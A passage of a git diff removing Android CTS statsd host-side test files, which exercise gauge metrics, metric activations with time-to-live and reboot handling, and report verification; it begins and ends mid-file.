-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-public class GaugeMetricsTests extends DeviceAtomTestCase {
-
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
- public void testGaugeMetric() throws Exception {
- // Add AtomMatcher's.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher atomMatcher =
- MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addAtomMatcher(atomMatcher);
-
- // Add Predicate's.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add GaugeMetric.
- FieldMatcher fieldMatcher =
- FieldMatcher.newBuilder().setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID).build();
- builder.addGaugeMetric(
- StatsdConfigProto.GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setCondition(predicate.getId())
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(false).setFields(fieldMatcher).build())
- .setDimensionsInWhat(
- FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .build())
- .build())
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(1);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isTrue();
- StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
- assertThat(gaugeData.getDataCount()).isEqualTo(1);
-
- int bucketCount = gaugeData.getData(0).getBucketInfoCount();
- GaugeMetricData data = gaugeData.getData(0);
- assertThat(bucketCount).isGreaterThan(2);
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
- assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
- assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
- .isEqualTo(0);
- assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
- .isEqualTo(AppBreadcrumbReported.State.START);
-
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
- assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
-
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
- assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
- assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
- .isEqualTo(2);
- assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
- .isEqualTo(AppBreadcrumbReported.State.STOP);
- }
-
- public void testPulledGaugeMetricWithActivation() throws Exception {
- // Add AtomMatcher's.
- int activationAtomMatcherId = 1;
- int activationAtomMatcherLabel = 1;
-
- int systemUptimeMatcherId = 2;
- AtomMatcher activationAtomMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(
- activationAtomMatcherId, activationAtomMatcherLabel);
- AtomMatcher systemUptimeMatcher =
- AtomMatcher.newBuilder()
- .setId(systemUptimeMatcherId)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(activationAtomMatcher);
- builder.addAtomMatcher(systemUptimeMatcher);
-
- // Add GaugeMetric.
- builder.addGaugeMetric(
- StatsdConfigProto.GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(systemUptimeMatcherId)
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(true).build())
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .build());
-
- // Add activation.
- builder.addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationAtomMatcherId)
- .setTtlSeconds(5)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Plenty of time to pull, but we should not keep the data since we are not active.
- Thread.sleep(20_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isFalse();
- }
-
- public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int whatMatcherId = 8;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
- AtomMatcher activationMatcher =
- MetricsUtils.startAtomMatcherWithLabel(
- activationMatcherId, activationMatcherLabel);
- AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add GaugeMetric.
- builder
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(whatMatcher.getId())
- .setBucket(TimeUnit.CTS)
- .setCondition(predicate.getId())
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(false).setFields(
- FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- )
- )
- .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
- )
- .addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)
- )
- );
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // This value is collected.
- doAppBreadcrumbReported(10);
- Thread.sleep(10);
-
- // Ignored; value already collected.
- doAppBreadcrumbReported(20);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Value not updated because condition is false.
- doAppBreadcrumbReported(30);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Value not collected.
- doAppBreadcrumbReported(40);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Value not collected.
- doAppBreadcrumbReported(50);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Value collected.
- doAppBreadcrumbReported(60);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Value not collected.
- doAppBreadcrumbReported(70);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
- assertThat(gaugeData.getDataCount()).isEqualTo(1);
- assertThat(gaugeData.getData(0).getBucketInfoCount()).isEqualTo(2);
-
- GaugeBucketInfo bucketInfo = gaugeData.getData(0).getBucketInfo(0);
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
- assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(10);
-
- bucketInfo = gaugeData.getData(0).getBucketInfo(1);
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
- assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(60);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
deleted file mode 100644
index 339970a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ /dev/null
@@ -1,566 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Test Statsd Metric activations and deactivations
- */
-public class MetricActivationTests extends DeviceAtomTestCase {
- private final long metric1Id = 1L;
- private final int metric1MatcherId = 1;
-
- private final long metric2Id = 2L;
- private final int metric2MatcherId = 2;
-
- private final long metric3Id = 3L;
- private final int metric3MatcherId = 3;
-
- private final int act1MatcherId = 10;
- private final int act1CancelMatcherId = -10;
-
- private final int act2MatcherId = 20;
- private final int act2CancelMatcherId = -20;
-
-
- private StatsdConfig.Builder createConfig(final int act1TtlSecs, final int act2TtlSecs) {
- AtomMatcher metric1Matcher =
- MetricsUtils.simpleAtomMatcher(metric1MatcherId, metric1MatcherId);
- AtomMatcher metric2Matcher =
- MetricsUtils.simpleAtomMatcher(metric2MatcherId, metric2MatcherId);
- AtomMatcher metric3Matcher =
- MetricsUtils.simpleAtomMatcher(metric3MatcherId, metric3MatcherId);
- AtomMatcher act1Matcher =
- MetricsUtils.simpleAtomMatcher(act1MatcherId, act1MatcherId);
- AtomMatcher act1CancelMatcher =
- MetricsUtils.simpleAtomMatcher(act1CancelMatcherId, act1CancelMatcherId);
- AtomMatcher act2Matcher =
- MetricsUtils.simpleAtomMatcher(act2MatcherId, act2MatcherId);
- AtomMatcher act2CancelMatcher =
- MetricsUtils.simpleAtomMatcher(act2CancelMatcherId, act2CancelMatcherId);
-
- EventMetric metric1 = EventMetric.newBuilder()
- .setId(metric1Id)
- .setWhat(metric1MatcherId)
- .build();
-
- EventMetric metric2 = EventMetric.newBuilder()
- .setId(metric2Id)
- .setWhat(metric2MatcherId)
- .build();
-
- EventMetric metric3 = EventMetric.newBuilder()
- .setId(metric3Id)
- .setWhat(metric3MatcherId)
- .build();
-
- EventActivation metric1Act1 =
- MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .build();
-
- EventActivation metric1Act2 =
- MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
- .build();
-
- EventActivation metric2Act1 =
- MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
- .build();
-
- EventActivation metric2Act2 =
- MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .build();
-
- MetricActivation metric1Activation = MetricActivation.newBuilder()
- .setMetricId(metric1Id)
- .addEventActivation(metric1Act1)
- .addEventActivation(metric1Act2)
- .build();
-
- MetricActivation metric2Activation = MetricActivation.newBuilder()
- .setMetricId(metric2Id)
- .addEventActivation(metric2Act1)
- .addEventActivation(metric2Act2)
- .build();
-
- return createConfigBuilder()
- .addAtomMatcher(metric1Matcher)
- .addAtomMatcher(metric2Matcher)
- .addAtomMatcher(metric3Matcher)
- .addAtomMatcher(act1Matcher)
- .addAtomMatcher(act1CancelMatcher)
- .addAtomMatcher(act2Matcher)
- .addAtomMatcher(act2CancelMatcher)
- .addEventMetric(metric1)
- .addEventMetric(metric2)
- .addEventMetric(metric3)
- .addMetricActivation(metric1Activation)
- .addMetricActivation(metric2Activation);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 5 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 8 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 5 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 8 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testCancellation() throws Exception {
- final int act1TtlSecs = 5;
- final int act2TtlSecs = 8;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Ignored, metric not active.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger cancel for already inactive event activation 1.
- doAppBreadcrumbReported(act1CancelMatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 1.
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Second logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Cancel event activation 1.
- doAppBreadcrumbReported(act1CancelMatcherId);
- Thread.sleep(10L);
-
- // Ignored, metric not active.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 1.
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 2.
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Third logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Cancel event activation 2.
- doAppBreadcrumbReported(act2CancelMatcherId);
- Thread.sleep(10L);
-
- // Fourth logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Expire event activation 1
- Thread.sleep(act1TtlSecs * 1000);
-
- // Ignored, metric 1 not active. Activation 1 expired and Activation 2 was cancelled.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 2.
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Metric 1 log ignored, Activation 1 expired and Activation 2 needs reboot to activate.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 3.
- doAppBreadcrumbReported(metric3MatcherId);
- Thread.sleep(10L);
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 4, 0, 1);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testRestart() throws Exception {
- final int act1TtlSecs = 200;
- final int act2TtlSecs = 400;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // First logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Second logged event for Metric 1.
- // First logged event for Metric 2.
- // Second logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L);
-
- // Metric 1 event ignored, Activation 1 expired.
- // Metric 2 event ignored, Activation 1 expired.
- // Third logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 2 and Metric 2 Activation 2.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 400 seconds
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Metric 1 event ignored, will activate after boot.
- // Second logged event for Metric 2.
- // Fourth logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 400 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Third logged event for Metric 1.
- // Third logged event for Metric 2.
- // Fifth logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 300 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 400 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 300 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Fourth logged event for Metric 1.
- // Fourth logged event for Metric 2.
- // Sixth logged event for Metric 3.
- logAllMetrics();
-
- // Expire Metric 1 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 300 seconds
- // Metric 2 Activation 1: 100 seconds
- // Metric 2 Activation 2: 200 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Fifth logged event for Metric 1.
- // Fifth logged event for Metric 2.
- // Seventh logged event for Metric 3.
- logAllMetrics();
-
- // Expire all activations.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act2TtlSecs * 1000L);
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Eighth logged event for Metric 3.
- logAllMetrics();
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertThat(reports).hasSize(3);
-
- // Report before restart.
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 1, 0, 1);
-
- // Report after first restart.
- report = reports.get(1);
- verifyMetrics(report, 2, 3, 4);
-
- // Report after second restart.
- report = reports.get(2);
- verifyMetrics(report, 2, 2, 3);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testMultipleActivations() throws Exception {
- final int act1TtlSecs = 200;
- final int act2TtlSecs = 400;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // First logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Second logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // Second logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Third logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // Third logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Fourth logged event for Metric 1.
- // First logged event for Metric 2.
- // Fourth logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Fifth logged event for Metric 1.
- // Second logged event for Metric 2.
- // Fifth logged event for Metric 3.
- logAllMetrics();
-
- // Expire all activations.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L);
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Sixth logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Seventh logged event for Metric 3.
- logAllMetrics();
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertThat(reports).hasSize(3);
-
- // Report before restart.
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 3, 0, 3);
-
- // Report after first restart.
- report = reports.get(1);
- verifyMetrics(report, 2, 2, 3);
-
- // Report after second restart.
- report = reports.get(2);
- verifyMetrics(report, 0, 0, 1);
- }
-
- private void logAllMetrics() throws Exception {
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- doAppBreadcrumbReported(metric2MatcherId);
- Thread.sleep(10L);
-
- doAppBreadcrumbReported(metric3MatcherId);
- Thread.sleep(10L);
- }
-
- private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
- int metric3Count) throws Exception {
- assertThat(report.getMetricsCount()).isEqualTo(3);
-
- verifyMetric(
- report.getMetrics(0), // StatsLogReport
- 1, // Metric Id
- 1, // Metric what atom matcher label
- metric1Count // Data count
- );
- verifyMetric(
- report.getMetrics(1), // StatsLogReport
- 2, // Metric Id
- 2, // Metric what atom matcher label
- metric2Count // Data count
- );
- verifyMetric(
- report.getMetrics(2), // StatsLogReport
- 3, // Metric Id
- 3, // Metric what atom matcher label
- metric3Count // Data count
- );
- }
-
- private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
- int dataCount) {
- LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(metricId);
- assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
-
- StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
- assertThat(eventData.getDataCount()).isEqualTo(dataCount);
- for (int i = 0; i < eventData.getDataCount(); i++) {
- AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
- assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
- }
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
deleted file mode 100644
index 7097587..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
